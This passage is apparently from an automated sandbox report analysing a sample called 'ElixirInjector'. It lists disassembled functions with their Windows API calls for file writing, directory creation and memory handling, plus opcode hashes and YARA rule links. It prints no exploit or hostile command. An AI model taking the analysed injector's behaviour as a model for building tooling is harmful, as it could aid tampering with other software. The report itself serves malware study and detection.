                                                                                              • WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,00F2551D,?,?,?,?,?,00F24FC7,?), ref: 00F19FE5
                                                                                              • WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,00F1D343,00000001,?,?), ref: 00F1A011
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileWrite$Handle
                                                                                              • String ID:
                                                                                              • API String ID: 4209713984-0
                                                                                              • Opcode ID: 5a90eddcce89fdfff5d19b973f49ea466e37a72925988f4e3b1fb5aaf4f2669e
                                                                                              • Instruction ID: dc6476c4c51eaae61de3ac73183e4957c47e1969d2d752d60c31d6ffdfcc6465
                                                                                              • Opcode Fuzzy Hash: 5a90eddcce89fdfff5d19b973f49ea466e37a72925988f4e3b1fb5aaf4f2669e
                                                                                              • Instruction Fuzzy Hash: 0131F332608305AFDB14CF20D818BAE77A5FF95725F00051DF94197290C775AD88EBA2
                                                                                              Function 00F1A2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F1C27E: _wcslen.LIBCMT ref: 00F1C284
                                                                                              • CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00F1A175,?,00000001,00000000,?,?), ref: 00F1A2D9
                                                                                              • CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00F1A175,?,00000001,00000000,?,?), ref: 00F1A30C
                                                                                              • GetLastError.KERNEL32(?,?,?,?,00F1A175,?,00000001,00000000,?,?), ref: 00F1A329
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: CreateDirectory$ErrorLast_wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 2260680371-0
                                                                                              • Opcode ID: f6164001f09bf6cec344c24f4f865b06e74b0f741b5bb44b50a6cf1c67246cd7
                                                                                              • Instruction ID: 7856c2899eacd69b7b4840451337a34355314e39b500d932462fadd8dc621c98
                                                                                              • Opcode Fuzzy Hash: f6164001f09bf6cec344c24f4f865b06e74b0f741b5bb44b50a6cf1c67246cd7
                                                                                              • Instruction Fuzzy Hash: E6014735A02314AAEF21AB754C09BFE33589F1A394F040419F802E2085D76ACAC1F6B3
                                                                                              Function 00F3B893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00F3B8B8
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Info
                                                                                              • String ID:
                                                                                              • API String ID: 1807457897-3916222277
                                                                                              • Opcode ID: 49205397a9c207de8a7c0542f9102a5618ecb24e016b0384a6d1bb40219fba17
                                                                                              • Instruction ID: e59c01ff8d87c7f139c0c25a33722a95f84992878d5edbcdf7af6a7c1524e7b8
                                                                                              • Opcode Fuzzy Hash: 49205397a9c207de8a7c0542f9102a5618ecb24e016b0384a6d1bb40219fba17
                                                                                              • Instruction Fuzzy Hash: C141177190438C9EDF218E24CC94BFABBB9EF55324F1404ECE6DA86142D335AA45EF60
                                                                                              Function 00F3AF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,000000FF), ref: 00F3AFDD
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: String
                                                                                              • String ID: LCMapStringEx
                                                                                              • API String ID: 2568140703-3893581201
                                                                                              • Opcode ID: 47d2b4042f250322f529235e1f1e9ce295e25e8922092701368cf1cf6326cd53
                                                                                              • Instruction ID: 15f89be04e12d772fa91393d18a239d5059acbf3a0e9017a9ed7f84e17685a26
                                                                                              • Opcode Fuzzy Hash: 47d2b4042f250322f529235e1f1e9ce295e25e8922092701368cf1cf6326cd53
                                                                                              • Instruction Fuzzy Hash: D201D03660421DBBCF02AFA1EC06DAE7F62EB49760F414154FE1466160CB76CA31BB92
                                                                                              Function 00F3AF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00F3A56F), ref: 00F3AF55
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: CountCriticalInitializeSectionSpin
                                                                                              • String ID: InitializeCriticalSectionEx
                                                                                              • API String ID: 2593887523-3084827643
                                                                                              • Opcode ID: 78e48865a1842a7fdb52a974efdcbe960b024bb685cdc8317d57fb67812607c7
                                                                                              • Instruction ID: b0c49f817fb9e0305d426732b42fa3ad932b0b058d452a0d4008aa4f83440d84
                                                                                              • Opcode Fuzzy Hash: 78e48865a1842a7fdb52a974efdcbe960b024bb685cdc8317d57fb67812607c7
                                                                                              • Instruction Fuzzy Hash: 4EF0E235A4521CBFCF02AF61DC02DAEBF61EF55B21F404068FC089A260DB719E10BB86
                                                                                              Function 00F3ADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Alloc
                                                                                              • String ID: FlsAlloc
                                                                                              • API String ID: 2773662609-671089009
                                                                                              • Opcode ID: 0991336ff916c4790072b4329f9b7dc72378fc3987ac7c98def16686309ee516
                                                                                              • Instruction ID: eb4068df16d5a28174dc617831d2ed03fbc04c5f2454538d7b69b538e800f13c
                                                                                              • Opcode Fuzzy Hash: 0991336ff916c4790072b4329f9b7dc72378fc3987ac7c98def16686309ee516
                                                                                              • Instruction Fuzzy Hash: 4AE0E531B4931CBBC701AB66DC02D6EBF54EB65731F4101A9FC0597240DE749E41B6D6
                                                                                              Function 00F3BBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F3B7BB: GetOEMCP.KERNEL32(00000000,?,?,00F3BA44,?), ref: 00F3B7E6
                                                                                              • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00F3BA89,?,00000000), ref: 00F3BC64
                                                                                              • GetCPInfo.KERNEL32(00000000,00F3BA89,?,?,?,00F3BA89,?,00000000), ref: 00F3BC77
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: CodeInfoPageValid
                                                                                              • String ID:
                                                                                              • API String ID: 546120528-0
                                                                                              • Opcode ID: aac30dc1328097768f25952a7eca46a2f532bb106dfca488d1eeee7e2053522d
                                                                                              • Instruction ID: 8f35cbf6900df047e53de7c6db7453f912dbcdcb8a1585d2f042b8af71b665a5
                                                                                              • Opcode Fuzzy Hash: aac30dc1328097768f25952a7eca46a2f532bb106dfca488d1eeee7e2053522d
                                                                                              • Instruction Fuzzy Hash: 53514571E002459FDB20CF75C8A16BABBF5EF41330F18406EDA968B291D7399946FB90
                                                                                              Function 00F19A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00F19A50,?,?,00000000,?,?,00F18CBC,?), ref: 00F19BAB
                                                                                              • GetLastError.KERNEL32(?,00000000,00F18411,-00009570,00000000,000007F3), ref: 00F19BB6
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorFileLastPointer
                                                                                              • String ID:
                                                                                              • API String ID: 2976181284-0
                                                                                              • Opcode ID: cc7944f31bae2715999f9e75ba7041f9d11cf3aa1ca3f2d058f78f52dd668ad4
                                                                                              • Instruction ID: 44c9792541e71130cd7051af49929fcd8a7997449bcc5f6074243d22e86013a6
                                                                                              • Opcode Fuzzy Hash: cc7944f31bae2715999f9e75ba7041f9d11cf3aa1ca3f2d058f78f52dd668ad4
                                                                                              • Instruction Fuzzy Hash: 8441DF7590C3018FDB24DF14E5A45AAB7E5FFE5320F148A2DE89183260D7F4AE84AAD1
                                                                                              Function 00F3BA27 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F397E5: GetLastError.KERNEL32(?,00F51098,00F34674,00F51098,?,?,00F340EF,?,?,00F51098), ref: 00F397E9
                                                                                                • Part of subcall function 00F397E5: _free.LIBCMT ref: 00F3981C
                                                                                                • Part of subcall function 00F397E5: SetLastError.KERNEL32(00000000,?,00F51098), ref: 00F3985D
                                                                                                • Part of subcall function 00F397E5: _abort.LIBCMT ref: 00F39863
                                                                                                • Part of subcall function 00F3BB4E: _abort.LIBCMT ref: 00F3BB80
                                                                                                • Part of subcall function 00F3BB4E: _free.LIBCMT ref: 00F3BBB4
                                                                                                • Part of subcall function 00F3B7BB: GetOEMCP.KERNEL32(00000000,?,?,00F3BA44,?), ref: 00F3B7E6
                                                                                              • _free.LIBCMT ref: 00F3BA9F
                                                                                              • _free.LIBCMT ref: 00F3BAD5
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _free$ErrorLast_abort
                                                                                              • String ID:
                                                                                              • API String ID: 2991157371-0
                                                                                              • Opcode ID: 2f524c8fa9b4f4bf15413112603f639ed83d68b00ca23f1d0642d3bb086daea4
                                                                                              • Instruction ID: 2e3d6ed3ca88898a28cc6dfe5aaca702f2aa89d81ed4a8a862e8df1831f47ba3
                                                                                              • Opcode Fuzzy Hash: 2f524c8fa9b4f4bf15413112603f639ed83d68b00ca23f1d0642d3bb086daea4
                                                                                              • Instruction Fuzzy Hash: 7E319131D0460DAFDB10EFA8D851B99B7F5EF41330F254099EE049B2A2EB7A5D41EB50
                                                                                              Function 00F11E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F11E55
                                                                                                • Part of subcall function 00F13BBA: __EH_prolog.LIBCMT ref: 00F13BBF
                                                                                              • _wcslen.LIBCMT ref: 00F11EFD
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog$_wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 2838827086-0
                                                                                              • Opcode ID: f4ae8837156e4e2bdf91f572c28cc66051d81ad9fb37c7e1d22e4909739b5fc8
                                                                                              • Instruction ID: 5c94c6b64768489d70c7d29ac08075cea22fac251843efef7cdb18cc97a76482
                                                                                              • Opcode Fuzzy Hash: f4ae8837156e4e2bdf91f572c28cc66051d81ad9fb37c7e1d22e4909739b5fc8
                                                                                              • Instruction Fuzzy Hash: C4316B71D042099FCF15DF98D945AEEBBF6BF58310F100069F945A7251C7365E80EB60
                                                                                              Function 00F19DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00F173BC,?,?,?,00000000), ref: 00F19DBC
                                                                                              • SetFileTime.KERNELBASE(?,?,?,?), ref: 00F19E70
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$BuffersFlushTime
                                                                                              • String ID:
                                                                                              • API String ID: 1392018926-0
                                                                                              • Opcode ID: 54d96e78b56cb3545fc66bbad93b6ac6643704798d2db66ea1c4c4a651d76883
                                                                                              • Instruction ID: ccf7dbdd8dd6bbd207e9fadc52d0f78d8e189d6ae143fe2018a2050ce7345f10
                                                                                              • Opcode Fuzzy Hash: 54d96e78b56cb3545fc66bbad93b6ac6643704798d2db66ea1c4c4a651d76883
                                                                                              • Instruction Fuzzy Hash: 9521D03164C245AFC714CF34D8A1AABBBE4AF65314F08491CF4C587181D369EA8DABA1
                                                                                              Function 00F1966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00F19F27,?,?,00F1771A), ref: 00F196E6
                                                                                              • CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00F19F27,?,?,00F1771A), ref: 00F19716
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: CreateFile
                                                                                              • String ID:
                                                                                              • API String ID: 823142352-0
                                                                                              • Opcode ID: 5ee1dc0dcb35f8b80d4daefcd7113dbe455e25ddbf348c8545e21114991c0d58
                                                                                              • Instruction ID: 4cbdee0a918373349ac3de0fa927b156818ef5310a9b575f9328bf8c01635f3f
                                                                                              • Opcode Fuzzy Hash: 5ee1dc0dcb35f8b80d4daefcd7113dbe455e25ddbf348c8545e21114991c0d58
                                                                                              • Instruction Fuzzy Hash: 4B21C171508344AFE3308A65CC89BF777DCEB59334F100A29F9D5C25D1C7B8A884A6B1
                                                                                              Function 00F19E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00F19EC7
                                                                                              • GetLastError.KERNEL32 ref: 00F19ED4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorFileLastPointer
                                                                                              • String ID:
                                                                                              • API String ID: 2976181284-0
                                                                                              • Opcode ID: 0143b845b8a45f02a986cb79de1ab09c8267ad84fea2108f6ade37d78fec0981
                                                                                              • Instruction ID: fdbf454bde17d2ec38d809a50ca649562b531527b8ed771da83fe2f6dc630e3e
                                                                                              • Opcode Fuzzy Hash: 0143b845b8a45f02a986cb79de1ab09c8267ad84fea2108f6ade37d78fec0981
                                                                                              • Instruction Fuzzy Hash: F411C231A04604ABD724C628CC50BE6B7E9AB45370F604A29E563D26D0D7F1BD89EBA0
                                                                                              Function 00F38E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _free.LIBCMT ref: 00F38E75
                                                                                                • Part of subcall function 00F38E06: RtlAllocateHeap.NTDLL(00000000,?,?,?,00F34286,?,0000015D,?,?,?,?,00F35762,000000FF,00000000,?,?), ref: 00F38E38
                                                                                              • HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,00F51098,00F117CE,?,?,00000007,?,?,?,00F113D6,?,00000000), ref: 00F38EB1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Heap$AllocAllocate_free
                                                                                              • String ID:
                                                                                              • API String ID: 2447670028-0
                                                                                              • Opcode ID: 4cddf0c3b6b879c9fa1e236ff7c77386516b23eaa2dea112cca63fdcf15bd60b
                                                                                              • Instruction ID: ad6be72bda4e7ac0023b0b32a7e613121f6b323fe62aefb0747dfacb7901d364
                                                                                              • Opcode Fuzzy Hash: 4cddf0c3b6b879c9fa1e236ff7c77386516b23eaa2dea112cca63fdcf15bd60b
                                                                                              • Instruction Fuzzy Hash: A9F06232A05315A6DB212AE59C05B6F37589F92BF0F244126F818A6191DFACDD83B1A1
                                                                                              Function 00F2109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetCurrentProcess.KERNEL32(?,?), ref: 00F210AB
                                                                                              • GetProcessAffinityMask.KERNEL32(00000000), ref: 00F210B2
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
